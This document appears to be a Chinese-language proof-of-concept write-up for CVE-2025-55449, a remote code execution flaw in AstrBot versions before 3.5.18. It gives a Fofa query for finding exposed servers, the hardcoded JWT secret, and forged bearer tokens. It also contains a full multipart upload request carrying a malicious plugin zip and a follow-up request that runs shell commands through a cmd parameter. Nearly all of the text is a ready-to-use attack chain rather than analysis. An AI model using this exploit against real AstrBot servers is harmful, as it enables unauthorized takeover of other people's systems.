AstrBot-CVE-2025-55449-RCE

Fofa:title="AstrBot"

影响版本

AstrBot < 3.5.18

构造可用jwt

image-20251113173840844

header

{
alg: "HS256",
typ: "JWT"
}

Payload

{
username: "iSee857",
exp: 1764642755
}

Signature

对header+Payload进行HS256+密钥
固定密钥值:
key="Advanced_System_for_Text_Response_and_Bot_Operations_Tool"

生成token

image-20251113173840844

poc

文件上传

POST /api/plugin/install-upload HTTP/1.1
Host: 
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExNDUxNCIsImV4cCI6MTc2NjYzMzkwNH0.wY7z3wW8F3qeekBXJCb84ldX83FD8oDnIISQyj_2PnI
Content-Type: multipart/form-data; boundary=17be2a5e1e382d4754ba64db5bd4e166
Content-Length: 6095

--17be2a5e1e382d4754ba64db5bd4e166
Content-Disposition: form-data; name="file"; filename="6cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5-main.zip"

{{unquote("PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/PK\x03\x04\x14\x00\x00\x00\x08\x00R\xaak[\xdc\x0c\x86C\xf1\x00\x00\x00.\x01\x00\x002\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/metadata.yaml\xcbK\xccM\xb5RH,.\x29J\xca/\x89/\xae,.I\xcd\x8d\xcf+\x29PPVx\xb1\x7f\xe6\xb3\x19\xeb\x9f\xec]\xf0|V\xcb\xb3\xfeIOvo\x032\x9eNY\xffdG\xc3\x8b\xf5mO;V?\x9d\xd0\xfb\xb8\xa1\x89+%\xb58\xd9J\x01\xaab]\xc3\xf3\xf9k\x9f\xf5\xf7\xbf\xd8\xbf\x01h\x04\xa6 WFjN\x81\x95\x82\x92\xa1\x12B\x1ah\xea\x8euO\xbbV>\xd9\xbf\xf0Y\xe3z\xae\xb2\xd4\xa2\xe2\xcc\xfc<+\x852\x03=\x03=C\x84\xba\xce\x8egs\xd6<\xed\xdf\x0e\xb4\xf4\xd9\x82=O\xf7\xf4\xbf\xdf3\xab\xccP\x0f\x08\x15\x9euL\x7b\xd1\xd0\xaa\x00\xe2q%\x96\x96d\xe4\x17Y\x29\xf8\xa6\x02\xb5>\xd9;\x07\x28\xc1U\x94Z\x90o\xa5\x90QRRPl\xa5\xaf\x9f\x9eY\x92Q\x9a\xa4\x97\x9c\x9f\xab\xef\x9b\xaa\x8f\xd5\xf3p\xa7=\xd9=\xf9\xe9\xae\xc9O\xe7lx:\xb7\x81\x0b\x00PK\x03\x04\x14\x00\x00\x00\x08\x00X\\y[$\x297\x12\x0e\x02\x00\x00\\\x04\x00\x00,\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/main.py\x7dSM\x8b\xdb0\x10\xbd\xfbW\x08\x9dl0\xca\x96\xde\x0c\x81]J\xf7\xb6\x90\xa5\xc7\x10\x84b\x8d\x1d\xa5\xb2\xa4\x95\xc6i\xd3\xd2\xff^\xc9_\x89I\xe9\x1c\x8c=\xf3\xe6\xbdyxFu\xcez$\xa8:\xc8\xd4\xf8\xeeB\x8fJg\x8d\xb7\x1d\x11\x01\xfd\xd1\"\x13N1\xb8\x80A2\x81\x1a\xa5\x11\xfc#\x28\xa0\xf03\xe6\x8b5\x08?\xb1$\xdfb\xb2$\x1eZ\x15\x1e\x9aj\xeb\x819-\xb0\xb1\xbec\x29\xcb;\x08A\xb4\xc0W\x82/\xb1\xf26\x16\xbe\xa6|\x96q\xb2%\xfb\x8c\xc4\xe0|\x04q\x9e\xd3\xe4\x84\x16,h\x00\x97\x7f.\x86z\xa4&\x1f\xbd\x88,\xca\x90\xfd=z\xc8\xd2\xe2\xb0\xc0\x84s\x09t\x8fi\xeb\xc8\xd7\x02r\x7b<C\x8d!\x1fIUC\xf0\xea \x8f\x1d\x05\xd9nG\x01\xf6\x9e\x9e\x0b\xdbY\x99\xb3\xe0\xad\xb6G\xa1\xc3 \x1e\xd1l\xcc\x82\xb9\xb0\xa9r\x93G\x08\x18\xfdw\xe1\x04Z\x0f\x0dC\x29\x85\x16\xddQ\x8aj5\x9a\x0d\xb4X\x00\xccY\x07&_i\xee\xa9\x87\x8f>\x92\xd2\x03\x13\xbe\x0d\xc9GN\xebN\xd2\x92P%iq\xd7\xeeA\xc8\xc9\xdbavx\x93O\x83s.U\x1d\x85Y\xef\xa4@\xc8\x7fS\xdeZ\xe4\x8d\xf2q\xeaY\xa8\"\xafQ\x18\xfe\x14\xe5\xaaWH\xc9\x7b\xaf\xb9\xef5\xe4K%\x05\xdd\xac\\\xd3rU\x05#\x9dU\x06\xb7\xf4\x7f\xa8\x8b\x82\x1f\xbc\xe9M\xbd]\xa1n\xa0i\x9aCv\xc8\xb2\xecy^\xc5q\x10:\xed\"\x0f\xd7\x98\xec\xb8A7\xd1\xd3\x17\x91b\xfe\xda\x29\xd3\xeet\xdf*3g\x9e\xd8\x13\xfb4\x7f\x9c\x10]\xa86\x9bV\xe1\xa9?\xc6\xcd\xee6o\xb0\xf9'y\x91\xd5Z\x84@v\xf6;8oG\xd2<\xddIQ\x0dd\x12\x9a\xf4\xa7\x8dJ\xff9\x80nJR\x8f\xe7T\xcdw5!S\x84\xdeE3\x05[:&l\x91\x0d\x90\xe7\xf1Z\xd3D\x9d02\xa7.\x1a\x996G\x84\xab\xa9\x07\xb9\xb4\xe2\xbfp\x12\x1bn\xafz\xb8\xba\xa8\xb9\x88^\x15h9\x02\xd3\x01+\x13W \xf4:\xee\x97\xb3\x03\xfd_PK\x03\x04\x14\x00\x00\x00\x08\x00R\xaak[TC\xefHn\x02\x00\x00#\x04\x00\x00,\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/LICENSE]R_o\xda0\x10\x7f\xf7\xa78\xf1\xd4JQ7U\xda\xcb\xdeLb\x8a\xb5$\x8e\x1cS\xc6cH\x0c\xf1\x14b\x14\x9b\xa1~\xfb\xdd\x05\xdan\x93\x90\"\xdf\xdd\xef\xdf\x1d\x854\x90\xbb\xd6\x8e\xc12\x96\xfa\xf3\xdb\xe4\x8e\x7d\x84\x87\xf6\x11\x9e\xbf>\x7f\x83\x02\xcb\x95\x9dN.\x04\xe7Gp\x01z;\xd9\xfd\x1b\x1c\xa7f\x8c\xb6K\xe00Y\x0b\xfe\x00m\xdfLG\x9b@\xf4\xd0\x8cop\xb6S@\x80\xdf\xc7\xc6\x8dn<B\x03-\xd23\x9c\x8c=\xd2\x04\x7f\x88\xd7f\xb28\xdcA\x13\x82o]\x83|\xd0\xf9\xf6r\xb2cl\"\xe9\x1d\xdc`\x03<\xc4\xde\xc2\xa2\xbe#\x16\x8f\xb3Hg\x9b\x81\xb9\x11\xa8\xf7\xde\x82\xab\x8b\xbd\xbfD\x98l\x88\x93k\x89#\x017\xb6\xc3\xa5#\x0f\xef\xed\xc1\x9d\xdc]\x81\xe0s\xe6\xc0\x90\xf4\x120\x01\xf9L\xe0\xe4;w\xa0\xaf\x9dc\x9d/\xfb\xc1\x85>\x81\xce\x11\xf5\xfe\x12\xb1\x18\xa88//\xa1\x1c_\xfc\x04\xc1\x0e\x03C\x06\x87\xbe\xe7\xac\x9f\xee\xe6\x19\xb2~\xa6\x85\xc6\xfb\x8a\x02U\xae\xbd?\xfd\x9b\xc4\x05v\xb8L#J\xda\x19\xd3y\\\xd9\xac\xf8\xcb\xb6\x91*4~\xf0\xc3\xe0\xaf\x14\xad\xf5c\xe7\x28Q\xf8\xce\x98\xc1V\xb3\xf7\xbf\xed\x9c\xe5v\xd2\xd1G\xb4z\xb3@\x078\x7f^\xf5\xde\x0a\x7d3\x0c\xb0\xb7\xf7\x85\xa1.\xae\xb7\xf9+\xceD\xf2!\xe2\xe1]3\xc0\xd9O\xb3\xde\xff1\x9fP\x7f-\xa0V+\xb3\xe5Z\x80\xac\xa1\xd2\xeaUf\"\x83\x05\xaf\xf1\xbdH`+\xcdZm\x0c\xe0\x84\xe6\xa5\xd9\x81Z\x01/w\xf0C\x96Y\x02\xe2g\xa5E]\x83\xd2L\x16U.\x05\xd6d\x99\xe6\x9bL\x96/\xb0D\\\xa9\xf0\x7f+\x0bi\x90\xd4\x28 \xc1;\x95\x145\x91\x15B\xa7k|\xf2\xa5\xcc\xa5\xd9%l%MI\x9c+\xa5\x81C\xc5\xb5\x91\xe9&\xe7\x1a\xaa\x8d\xaeT-P>C\xdaR\x96+\x8d*\xa2\x10\xa5yBU\xac\x81x\xc5\x07\xd4k\x9e\xe7$\xc5\xf8\x06\xddk\xf2\x07\xa9\xaavZ\xbe\xac\x0d\xacU\x9e\x09,.\x05:\xe3\xcb\\\xdc\xa40T\x9asY$\x90\xf1\x82\xbf\x88\x19\xa5\x90E3\x1a\xbb\xb9\x83\xedZP\x89\xf48\xfeR#UI1RU\x1a\x8d\xcf\x04Sj\xf3\x01\xdd\xcaZ$\xc0\xb5\xaci!+\xad\x8a\x84\xd1:\x11\xa1f\x12\xc4\x95\xe2\xc6B\xab\x86\x7f.\x82#\xf4\xde\xd4\xe2\x83\x102\xc1s\xe4\xaa\x09L\x11\xdf\x87\x9f\xd8\x1fPK\x03\x04\x14\x00\x00\x00\x08\x00R\xaak[\x86\xa6\x106\x07\x00\x00\x00\x05\x00\x00\x00.\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/README.md\xcbH\xcd\xc9\xc9\x07\x00PK\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00%\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x01\x00\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/PK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00R\xaak[\xdc\x0c\x86C\xf1\x00\x00\x00.\x01\x00\x002\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x81C\x00\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/metadata.yamlPK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00X\\y[$\x297\x12\x0e\x02\x00\x00\\\x04\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x81\x84\x01\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/main.pyPK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00R\xaak[TC\xefHn\x02\x00\x00#\x04\x00\x00,\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x81\xdc\x03\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/LICENSEPK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00R\xaak[\x86\xa6\x106\x07\x00\x00\x00\x05\x00\x00\x00.\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xb6\x81\x94\x06\x00\x006cd0dc24-9b48-4bd8-a3b5-cc7bc9c300a5/README.mdPK\x05\x06\x00\x00\x00\x00\x05\x00\x05\x00\xc3\x01\x00\x00\xe7\x06\x00\x00\x00\x00")}}
--17be2a5e1e382d4754ba64db5bd4e166--

image-20251113173840844

GET /test_hello?cmd=cat%20main.py HTTP/1.1
Host: 
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjExNDUxNCIsImV4cCI6MTc2NjYzMjA0Mn0.r93M9AKKY37EiODu1vP42YL-yW9P9XkDRPj2_bqASPE

image-20251113173840844